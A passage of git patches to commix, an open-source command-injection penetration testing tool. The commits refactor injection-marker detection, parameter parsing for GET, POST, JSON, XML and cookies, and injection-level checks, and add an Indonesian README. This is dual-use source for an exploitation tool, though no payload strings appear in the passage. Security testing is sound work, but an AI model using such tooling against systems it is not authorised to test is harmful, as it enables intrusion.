settings.CHOICE_NO: - settings.WILDCARD_CHAR_APPLIED = None - return - elif procced_option in settings.CHOICE_QUIT: - raise SystemExit() - else: - common.invalid_option(procced_option) - pass - """ Define HTTP User-Agent header. """ @@ -369,7 +301,7 @@ def main(filename, url): if settings.WILDCARD_CHAR_APPLIED and settings.MULTI_TARGETS or settings.STDIN_PARSING: settings.WILDCARD_CHAR_APPLIED = False - check_custom_injection_marker(url) + checks.check_custom_injection_marker(url) # Define the level of tests to perform. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: diff --git a/src/utils/settings.py b/src/utils/settings.py index f2c689add8..53c0b92d6c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "41" +REVISION = "42" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From e87efea5235b035b30756102e34f31ea56deeae0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 19 Jan 2023 07:30:04 +0200 Subject: [PATCH 0260/1023] Minor update regarding commit: https://github.com/commixproject/commix/commit/0ddba4e5fa0ea60c92134255cdb6d4ff30d62344 --- src/core/requests/parameters.py | 11 +++++++---- src/utils/settings.py | 3 ++- 2 files changed, 9 insertions(+), 5 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 89ffebc764..e0cb2ed8e0 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -155,9 +155,10 @@ def multi_params_get_value(param, all_params): urls_list.append(url) else: for param in range(0,len(multi_parameters)): - # Grab the value of parameter. - value = re.findall(r'=(.*)', multi_parameters[param]) - value = ''.join(value) + value = multi_params_get_value(param, multi_parameters) + if re.search(settings.VALUE_BOUNDARIES, value): + multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) + value = checks.value_boundaries(multi_parameters[param], value, http_request_method) parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) # Reconstruct the URL url = url_part + "?" + parameter @@ -182,6 +183,7 @@ def vuln_GET_param(url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] + settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) @@ -400,6 +402,7 @@ def vuln_POST_param(parameter, url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] + settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) @@ -427,7 +430,7 @@ def prefixes(payload, prefix): # Check if defined "--prefix" option. testable_value = settings.TESTABLE_VALUE - if settings.WILDCARD_CHAR_APPLIED: + if settings.WILDCARD_CHAR_APPLIED and len(settings.POST_WILDCARD_CHAR) != 0: testable_value = "" if menu.options.prefix: payload = testable_value + menu.options.prefix + prefix + payload diff --git a/src/utils/settings.py b/src/utils/settings.py index 53c0b92d6c..3ed2826080 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "42" +REVISION = "43" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -346,6 +346,7 @@ def sys_argv_errors(): # The wildcard character WILDCARD_CHAR = "*" WILDCARD_CHAR_APPLIED = False +POST_WILDCARD_CHAR = "" # Testable parameter(s) - comma separated. TEST_PARAMETER = "" From 5284ebdb95f83f5b3151edbe512918d270f8419b Mon Sep 17 00:00:00 2001 From: Galih Anggoro Prasetya <83481679+galihap76@users.noreply.github.com> Date: Thu, 19 Jan 2023 20:59:04 +0700 Subject: [PATCH 0261/1023] Create README-idn-IDN.md --- doc/translations/README-idn-IDN.md | 41 ++++++++++++++++++++++++++++++ 1 file changed, 41 insertions(+) create mode 100644 doc/translations/README-idn-IDN.md diff --git a/doc/translations/README-idn-IDN.md b/doc/translations/README-idn-IDN.md new file mode 100644 index 0000000000..4f3855f13c --- /dev/null +++ b/doc/translations/README-idn-IDN.md @@ -0,0 +1,41 @@ +

+ CommixProject +

+ Builds Tests + Python 2.6|2.7|3.x + GPLv3 License + GitHub closed issues + Twitter +

+

+ +**Commix** (kependekan dari [**comm**]and [**i**]njection e[**x**]ploiter) adalah alat pengujian penetrasi open source, yang ditulis oleh **[Anastasios Stasinopoulos](https://github.com/stasinopoulos)** (**[@ancst](https://twitter.com/ancst)**), yang mengotomatiskan deteksi dan eksploitasi kerentanan **[command injection](https://www.owasp.org/index.php/Command_Injection)**. + + +![Screenshot](https://commixproject.com/images/background.png) +Anda dapat mengunjungi [koleksi dari tangkapan layar](https://github.com/commixproject/commix/wiki/Screenshots) yang menunjukkan beberapa fitur di wiki. + +## Instalasi + +Anda dapat mengunduh commix di platform apa pun dengan mengkloning repositori resmi Git: + + $ git clone https://github.com/commixproject/commix.git commix + +Atau, Anda dapat mengunduh [tarball](https://github.com/commixproject/commix/tarball/master) atau [zipball](https://github.com/commixproject/commix/zipball/master) terbaru. + +*__Catatan:__ **[Python](http://www.python.org/download/)** (versi **2.6**, **2.7** atau **3.x**) diperlukan untuk menjalankan commix.* + + +## Penggunaan + +Untuk mendapatkan daftar semua opsi dan sakelar gunakan: + + $ python commix.py -h + +Untuk mendapatkan gambaran umum tentang opsi commix yang tersedia, sakelar dan / atau ide dasar tentang cara menggunakan commix, periksa **[penggunaan](https://github.com/commixproject/commix/wiki/Usage)**, **[contoh penggunaan](https://github.com/commixproject/commix/wiki/Usage-Examples)** dan **[bypass filter](https://github.com/commixproject/commix/wiki/Filters-Bypasses)** halaman wiki. + + +## Link + +* Panduan: https://github.com/commixproject/commix/wiki +* Pelacak masalah : https://github.com/commixproject/commix/issues From 04d705e05cc8c78a7fdf2413497cd48eba8c286f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 20 Jan 2023 08:42:39 +0200 Subject: [PATCH 0262/1023] Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers). --- doc/CHANGELOG.md | 5 +- src/core/injections/controller/checks.py | 36 ++++++------ src/core/requests/parameters.py | 70 ++++++++++-------------- src/utils/settings.py | 2 +- 4 files changed, 51 insertions(+), 62 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 8609b0c023..a1937e8e5e 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.7 (TBA) +* Revised: Improvements regarding identifying injection marker (i.e. asterisk `*`) in provided parameter values (e.g. GET, POST or HTTP headers). * Added: New option ` --crawl-exclude` regarding setting regular expression for excluding pages from crawling (e.g. "logout"). * Revised: Improvement regarding `--crawl` option, for skipping further tests involving target that an injection point has already been detected. * Added: Support regarding combining `--crawl` option with scanning multiple targets given from piped-input (i.e. stdin). @@ -95,7 +96,7 @@ * Revised: Minor improvement regarding verbose mode (i.e. debug messages). * Fixed: Bug-fix regarding Basic HTTP authentication. * Revised: Minor improvement regarding redirection mechanism. -* Fixed: Bug-fix regarding defining wildcard character "*" in nested JSON objects. +* Fixed: Bug-fix regarding defining wildcard character `*` in nested JSON objects. * Revised: Minor improvement regarding Flatten_json (third party) module. * Revised: Minor improvement regarding parsing nested JSON objects. * Added: New tamper script "doublequotes.py" that adds double-quotes ("") between the characters of the generated payloads (for *nix targets). @@ -398,7 +399,7 @@ ## Version 0.8b (2016-05-06) * Fixed: The `--file-read` option to ignore the carriage return ("\r") character in a text file. * Added: The ability to check for empty value(s) in the defined GET/POST/Cookie(s) data and skip. -* Replaced: The "INJECT_HERE" tag has been replaced with the "*" (asterisk) wildcard character. +* Replaced: The "INJECT_HERE" tag has been replaced with the `*` (asterisk) wildcard character. * Added: New option `--level` (1-3) that specifies level of tests to perform. * Added: New option `-p` that specifies a comma-separated list of GET/POST parameter. * Added: The ability to check every parameter in the provided cookie data. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 3de19d9e25..7d2834d367 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -357,24 +357,26 @@ def check_boundaries_value(parameter, value, http_request_method): """ def PCRE_e_modifier(parameter, http_request_method): original_parameter = parameter - if settings.INJECT_TAG in parameter: - parameter = parameter.replace(settings.INJECT_TAG, settings.WILDCARD_CHAR) if not settings.PCRE_MODIFIER in parameter: - if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]: - while True: - message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " - message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + parameter.split("=")[1] + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > " - modifier_check = common.read_input(message, default="Y", check_batch=True) - if modifier_check in settings.CHOICE_YES: - return original_parameter + settings.PCRE_MODIFIER[1:2] - elif modifier_check in settings.CHOICE_NO: - return original_parameter - elif modifier_check in settings.CHOICE_QUIT: - print(settings.SINGLE_WHITESPACE) - os._exit(0) - else: - common.invalid_option(modifier_check) - pass + try: + if get_value_inside_boundaries(parameter.split("=")[1]) != parameter.split("=")[1]: + while True: + message = "It appears that provided value for " + http_request_method + " parameter '" + parameter.split("=")[0] + "' has boundaries. " + message += "Do you want to add the PCRE '" + settings.PCRE_MODIFIER + "' modifier outside boundaries? ('" + message += parameter.split("=")[1].replace(settings.INJECT_TAG, settings.WILDCARD_CHAR) + settings.PCRE_MODIFIER[1:2] + "') [Y/n] > " + modifier_check = common.read_input(message, default="Y", check_batch=True) + if modifier_check in settings.CHOICE_YES: + return original_parameter + settings.PCRE_MODIFIER[1:2] + elif modifier_check in settings.CHOICE_NO: + return original_parameter + elif modifier_check in settings.CHOICE_QUIT: + print(settings.SINGLE_WHITESPACE) + os._exit(0) + else: + common.invalid_option(modifier_check) + pass + except Exception as ex: + pass return parameter """ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index e0cb2ed8e0..93548f82fc 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -39,8 +39,8 @@ def do_GET_check(url, http_request_method): """ Grab the value of parameter. """ - def multi_params_get_value(param, all_params): - value = re.findall(r'=(.*)', all_params[param]) + def multi_params_get_value(parameter): + value = re.findall(r'=(.*)', parameter) value = ''.join(value) return value @@ -78,6 +78,10 @@ def multi_params_get_value(param, all_params): # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)): checks.inappropriate_format(multi_parameters) + + for param in range(len(multi_parameters)): + multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) + # Check for empty values (in provided parameters). if checks.is_empty(multi_parameters, http_request_method): return urls_list @@ -85,14 +89,11 @@ def multi_params_get_value(param, all_params): _ = [] _.append(parameters) parameters = ''.join(checks.check_similarities(_)) - value = re.findall(r'=(.*)', parameters) - value = ''.join(value) + value = multi_params_get_value(parameters) # Check if single parameter is supplied. if len(multi_parameters) == 1: if re.search(settings.VALUE_BOUNDARIES, value): - parameters = checks.PCRE_e_modifier(parameters, http_request_method) value = checks.value_boundaries(parameters, value, http_request_method) - # Replace the value of parameter with INJECT_HERE tag # Check if defined the INJECT_TAG if settings.INJECT_TAG not in parameters: # Ignoring the anti-CSRF parameter(s). @@ -102,19 +103,10 @@ def multi_params_get_value(param, all_params): parameters = parameters + settings.INJECT_TAG else: parameters = parameters.replace(value, value + settings.INJECT_TAG) - # else: - # # Auto-recognize prefix / suffix - # if settings.INJECT_TAG in value: - # if len(value.rsplit(settings.INJECT_TAG, 0)[0]) > 0: - # menu.options.prefix = value.rsplit(settings.INJECT_TAG, 1)[0] - # if len(value.rsplit(settings.INJECT_TAG, 1)[1]) > 0: - # menu.options.suffix = value.rsplit(settings.INJECT_TAG, 1)[1] - # parameters = parameters.replace(value, value + settings.INJECT_TAG) # Reconstruct the URL url = url_part + "?" + parameters urls_list.append(url) return urls_list - else: # Check if multiple parameters are supplied without the "INJECT_HERE" tag. all_params = settings.PARAMETER_DELIMITER.join(multi_parameters) @@ -125,9 +117,7 @@ def multi_params_get_value(param, all_params): if settings.INJECT_TAG not in url: for param in range(0,len(all_params)): # Grab the value of parameter. - value = multi_params_get_value(param, all_params) - if re.search(settings.VALUE_BOUNDARIES, value): - all_params[param] = checks.PCRE_e_modifier(all_params[param], http_request_method) + value = multi_params_get_value(all_params[param]) for param in range(0,len(all_params)): if param == 0 : old = re.findall(r'=(.*)', all_params[param]) @@ -135,7 +125,7 @@ def multi_params_get_value(param, all_params): else : old = value # Grab the value of parameter. - value = multi_params_get_value(param, all_params) + value = multi_params_get_value(all_params[param]) if re.search(settings.VALUE_BOUNDARIES, value): value = checks.value_boundaries(all_params[param], value, http_request_method) # Ignoring the anti-CSRF parameter(s). @@ -155,10 +145,7 @@ def multi_params_get_value(param, all_params): urls_list.append(url) else: for param in range(0,len(multi_parameters)): - value = multi_params_get_value(param, multi_parameters) - if re.search(settings.VALUE_BOUNDARIES, value): - multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) - value = checks.value_boundaries(multi_parameters[param], value, http_request_method) + value = multi_params_get_value(multi_parameters[param]) parameter = settings.PARAMETER_DELIMITER.join(multi_parameters) # Reconstruct the URL url = url_part + "?" + parameter @@ -183,7 +170,10 @@ def vuln_GET_param(url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] - settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + try: + settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + except Exception: + pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) @@ -219,8 +209,9 @@ def multi_params_get_value(param, all_params): # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. parameter = checks.wildcard_character(parameter).replace("'","\"") # Check if JSON Object. - if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): - parameter = checks.check_quotes_json_data(parameter) + if checks.is_JSON_check(parameter) or checks.is_JSON_check(checks.check_quotes_json_data(parameter)): + if checks.is_JSON_check(checks.check_quotes_json_data(parameter)): + parameter = checks.check_quotes_json_data(parameter) if not settings.IS_JSON: checks.process_json_data() settings.PARAMETER_DELIMITER = "," @@ -248,11 +239,16 @@ def multi_params_get_value(param, all_params): except ValueError as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() + # Check for inappropriate format in provided parameter(s). if len([s for s in multi_parameters if "=" in s]) != (len(multi_parameters)) and \ not settings.IS_JSON and \ not settings.IS_XML: checks.inappropriate_format(multi_parameters) + + for param in range(len(multi_parameters)): + multi_parameters[param] = checks.PCRE_e_modifier(multi_parameters[param], http_request_method) + # Check if single parameter is supplied. if len(multi_parameters) == 1: if settings.INJECT_TAG not in multi_parameters[0]: @@ -274,6 +270,7 @@ def multi_params_get_value(param, all_params): parameter = ''.join(checks.check_similarities(_)) value = re.findall(r'=(.*)', parameter) value = ''.join(value) + if checks.is_empty(multi_parameters, http_request_method): return parameter else: @@ -281,7 +278,6 @@ def multi_params_get_value(param, all_params): if checks.ignore_anticsrf_parameter(parameter): return parameter if re.search(settings.VALUE_BOUNDARIES, value): - parameter = checks.PCRE_e_modifier(parameter, http_request_method) value = checks.value_boundaries(parameter, value, http_request_method) # Replace the value of parameter with INJECT_HERE tag if len(value) == 0: @@ -309,11 +305,6 @@ def multi_params_get_value(param, all_params): if settings.INJECT_TAG not in parameter: if checks.is_empty(multi_parameters, http_request_method): return parameter - for param in range(0, len(all_params)): - # Grab the value of parameter. - value = multi_params_get_value(param, all_params) - if re.search(settings.VALUE_BOUNDARIES, value): - all_params[param] = checks.PCRE_e_modifier(all_params[param], http_request_method) for param in range(0, len(all_params)): if param == 0 : if settings.IS_JSON: @@ -355,15 +346,7 @@ def multi_params_get_value(param, all_params): else: for param in range(0, len(multi_parameters)): # Grab the value of parameter. - if settings.IS_JSON: - value = re.findall(r'\"(.*)\"', multi_parameters[param]) - value = ''.join(value) - if settings.IS_XML: - value = re.findall(r'>(.*) Date: Sun, 22 Jan 2023 08:52:44 +0200 Subject: [PATCH 0263/1023] Minor update regarding commit: https://github.com/commixproject/commix/commit/04d705e05cc8c78a7fdf2413497cd48eba8c286f --- src/core/requests/parameters.py | 24 +++++++++++++++--------- src/utils/settings.py | 2 +- 2 files changed, 16 insertions(+), 10 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 93548f82fc..d6a528f3ae 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -170,10 +170,11 @@ def vuln_GET_param(url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] - try: - settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] - except Exception: - pass + if settings.WILDCARD_CHAR_APPLIED: + try: + settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + except Exception: + pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) @@ -374,7 +375,11 @@ def vuln_POST_param(parameter, url): if re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter): vuln_parameter = re.findall(r"" + settings.INJECT_TAG + "([^>]+)", parameter) vuln_parameter = re.findall(r"" + "([^]+)" + settings.INJECT_TAG, parameter)[0] + if settings.WILDCARD_CHAR_APPLIED and len(vuln_parameter) != 1 : + settings.POST_WILDCARD_CHAR = vuln_parameter[0] + settings.TESTABLE_VALUE = vuln_parameter = vuln_parameter[1] + else: + settings.TESTABLE_VALUE = re.findall(r"" + "([^>]+)" + settings.INJECT_TAG, parameter)[0] vuln_parameter = ''.join(vuln_parameter) # Regular POST data format. @@ -385,10 +390,11 @@ def vuln_POST_param(parameter, url): for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: vuln_parameter = pairs[param].split("=")[0] - try: - settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] - except Exception: - pass + if settings.WILDCARD_CHAR_APPLIED: + try: + settings.POST_WILDCARD_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + except Exception: + pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG,"") if re.search(settings.VALUE_BOUNDARIES, settings.TESTABLE_VALUE) and settings.INJECT_INSIDE_BOUNDARIES: settings.TESTABLE_VALUE = checks.get_value_inside_boundaries(settings.TESTABLE_VALUE) diff --git a/src/utils/settings.py b/src/utils/settings.py index 0a03dd42ae..6c3ab0b413 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.7" -REVISION = "44" +REVISION = "45" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c86188f036404764a88a801cfc22e6d9449762fe Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 23 Jan 2023 08:24:46 +0200 Subject: [PATCH 0264/1023] Fixes https://github.com/commixproject/commix/issues/805, https://github.com/commixproject/commix/issues/810 --- src/core/requests/parameters.py | 2 -- src/utils/settings.py | 2 +- 2 files changed, 1 insertion(+), 3 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index d6a528f3ae..9e3f169ad5 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -196,8 +196,6 @@ def do_POST_check(parameter, http_request_method): def multi_params_get_value(param, all_params): if settings.IS_JSON: value = re.findall(r'\:(.*)', all_params[param]) - if re.findall(r'\\"(.*)\\"', value[0]): - value = re.findall(r'\\"(.*)\\"', value[0]) value = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(value)) elif settings.IS_XML: value = re.findall(r'>(.*) Date: Tue, 24 Jan 2023 07:41:34 +0200 Subject: [PATCH 0265/1023] Minor code refactoring --- src/core/requests/parameters.py | 13 ++----------- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 12 deletions(-) diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 9e3f169ad5..9f5444a7bb 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -120,8 +120,7 @@ def multi_params_get_value(parameter): value = multi_params_get_value(all_params[param]) for param in range(0,len(all_params)): if param == 0 : - old = re.findall(r'=(.*)', all_params[param]) - old = ''.join(old) + old = multi_params_get_value(all_params[param]) else : old = value # Grab the value of parameter. @@ -306,15 +305,7 @@ def multi_params_get_value(param, all_params): return parameter for param in range(0, len(all_params)): if param == 0 : - if settings.IS_JSON: - old = re.findall(r'\:(.*)', all_params[param]) - old = re.sub(settings.IGNORE_SPECIAL_CHAR_REGEX, '', ''.join(old)) - elif settings.IS_XML: - old = re.findall(r'>(.*) Date: Wed, 25 Jan 2023 07:26:31 +0200 Subject: [PATCH 0266/1023] Minor update --- src/core/injections/controller/checks.py | 46 +++++++++++--------- src/core/injections/controller/controller.py | 15 ++++--- src/core/main.py | 12 ++--- src/core/requests/parameters.py | 37 ++++++++++------ src/utils/settings.py | 2 +- 5 files changed, 63 insertions(+), 49 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 7d2834d367..e765794ac4 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -66,15 +66,15 @@ def check_custom_injection_marker(url): else: option = "option '--headers/--user-agent/--referer/--cookie'" if menu.options.cookie and settings.WILDCARD_CHAR in menu.options.cookie: - settings.WILDCARD_CHAR_APPLIED = True + settings.WILDCARD_CHAR_APPLIED = settings.COOKIE_INJECTION = True menu.options.level = settings.COOKIE_INJECTION_LEVEL elif menu.options.agent and settings.WILDCARD_CHAR in menu.options.agent: - settings.WILDCARD_CHAR_APPLIED = True + settings.WILDCARD_CHAR_APPLIED = settings.USER_AGENT_INJECTION = True menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL elif menu.options.referer and settings.WILDCARD_CHAR in menu.options.referer: - settings.WILDCARD_CHAR_APPLIED = True + settings.WILDCARD_CHAR_APPLIED = settings.REFERER_INJECTION = True menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL elif menu.options.headers and settings.WILDCARD_CHAR in menu.options.headers: @@ -586,21 +586,24 @@ def assessment_phase(): Check current assessment phase. """ def check_injection_level(): - # Checking testable parameters for cookies - if menu.options.cookie: - if settings.COOKIE_DELIMITER in menu.options.cookie: - cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER) - for cookie in cookies: - if cookie.split("=")[0].strip() in menu.options.test_parameter: - menu.options.level = settings.COOKIE_INJECTION_LEVEL - elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: - menu.options.level = settings.COOKIE_INJECTION_LEVEL + try: + # Checking testable parameters for cookies + if menu.options.cookie: + if settings.COOKIE_DELIMITER in menu.options.cookie: + cookies = menu.options.cookie.split(settings.COOKIE_DELIMITER) + for cookie in cookies: + if cookie.split("=")[0].strip() in menu.options.test_parameter: + menu.options.level = settings.COOKIE_INJECTION_LEVEL + elif menu.options.cookie.split("=")[0] in menu.options.test_parameter: + menu.options.level = settings.COOKIE_INJECTION_LEVEL + + # Checking testable HTTP headers for user-agent / referer / host + if any(x in menu.options.test_parameter for x in settings.HTTP_HEADERS): + menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL + + except Exception as ex: + return - # Checking testable HTTP headers for user-agent / referer / host - if "user-agent" in menu.options.test_parameter or \ - "referer" in menu.options.test_parameter or \ - "host" in menu.options.test_parameter: - menu.options.level = settings.HTTP_HEADER_INJECTION_LEVEL """ Procced to the next attack vector. @@ -1631,8 +1634,9 @@ def is_empty(multi_parameters, http_request_method): if settings.IS_JSON: try: multi_params = ','.join(multi_params) - json_data = json.loads(multi_params, object_pairs_hook=OrderedDict) - multi_params = flatten(json_data) + if is_JSON_check(multi_params): + json_data = json.loads(multi_params, object_pairs_hook=OrderedDict) + multi_params = flatten(json_data) except ValueError as err_msg: print(settings.print_critical_msg(err_msg)) raise SystemExit() @@ -1649,8 +1653,8 @@ def is_empty(multi_parameters, http_request_method): elif len(str(multi_params[empty])) == 0 : empty_parameters.append(empty) except TypeError: - warn_msg = "The provided value for parameter '" + str(empty) + "' seems unusable." - print(settings.print_warning_msg(warn_msg)) + # warn_msg = "The provided value for parameter '" + str(empty) + "' seems unusable." + # print(settings.print_warning_msg(warn_msg)) pass elif settings.IS_XML: if re.findall(r'>(.*)<', empty)[0] == "" or \ diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 0a1e3c2fa7..d0308071d8 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -80,7 +80,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, for payload in basic_payloads: _ = _ + 1 if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): - if not any((settings.IS_JSON, settings.IS_XML)): + if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") @@ -138,7 +138,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): - if not any((settings.IS_JSON, settings.IS_XML)): + if not any((settings.IS_JSON, settings.IS_XML)) or settings.COOKIE_INJECTION: payload = _urllib.parse.quote(payload) payload = parameters.prefixes(payload, prefix="") payload = parameters.suffixes(payload, suffix="") @@ -329,7 +329,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER = "" if not header_name == "Cookie" and not the_type == "HTTP header": settings.CHECKING_PARAMETER = str(http_request_method) - settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + settings.CHECKING_PARAMETER += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] if header_name == "Cookie" : settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(check_parameter) else: @@ -733,10 +733,11 @@ def basic_level_checks(): settings.CUSTOM_HEADER_INJECTION = None # Check if defined POST data - if not settings.USER_DEFINED_POST_DATA: - get_request(url, http_request_method, filename, timesec) - else: - post_request(url, http_request_method, filename, timesec) + if not settings.COOKIE_INJECTION: + if settings.USER_DEFINED_POST_DATA: + post_request(url, http_request_method, filename, timesec) + else: + get_request(url, http_request_method, filename, timesec) _ = menu.options.level if _ >= settings.COOKIE_INJECTION_LEVEL: diff --git a/src/core/main.py b/src/core/main.py index ec489abfb8..aeee1fd0e7 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -303,6 +303,11 @@ def main(filename, url): checks.check_custom_injection_marker(url) + # Check injection level, due to the provided testable parameters. + if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \ + menu.options.test_parameter != None: + checks.check_injection_level() + # Define the level of tests to perform. if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: settings.SEPARATORS = sorted(set(settings.SEPARATORS_LVL1), key=settings.SEPARATORS_LVL1.index) @@ -351,11 +356,6 @@ def main(filename, url): # Check provided parameters for tests checks.check_provided_parameters() - # Check injection level, due to the provided testable parameters. - if menu.options.level == settings.DEFAULT_INJECTION_LEVEL and \ - menu.options.test_parameter != None: - checks.check_injection_level() - # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel @@ -564,7 +564,7 @@ def main(filename, url): if menu.options.smoke_test: smoke_test() - + if settings.STDIN_PARSING or settings.CRAWLING or menu.options.bulkfile or menu.options.shellshock: settings.OS_CHECKS_NUM = 1 diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 9f5444a7bb..e6195dcf3b 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -50,14 +50,15 @@ def multi_params_get_value(parameter): # Check for REST-ful URLs format. if "?" not in url: if settings.INJECT_TAG not in url and not menu.options.shellshock: + checks.check_injection_level() if menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or menu.options.header or menu.options.headers: return False - if menu.options.level == settings.COOKIE_INJECTION_LEVEL : + if 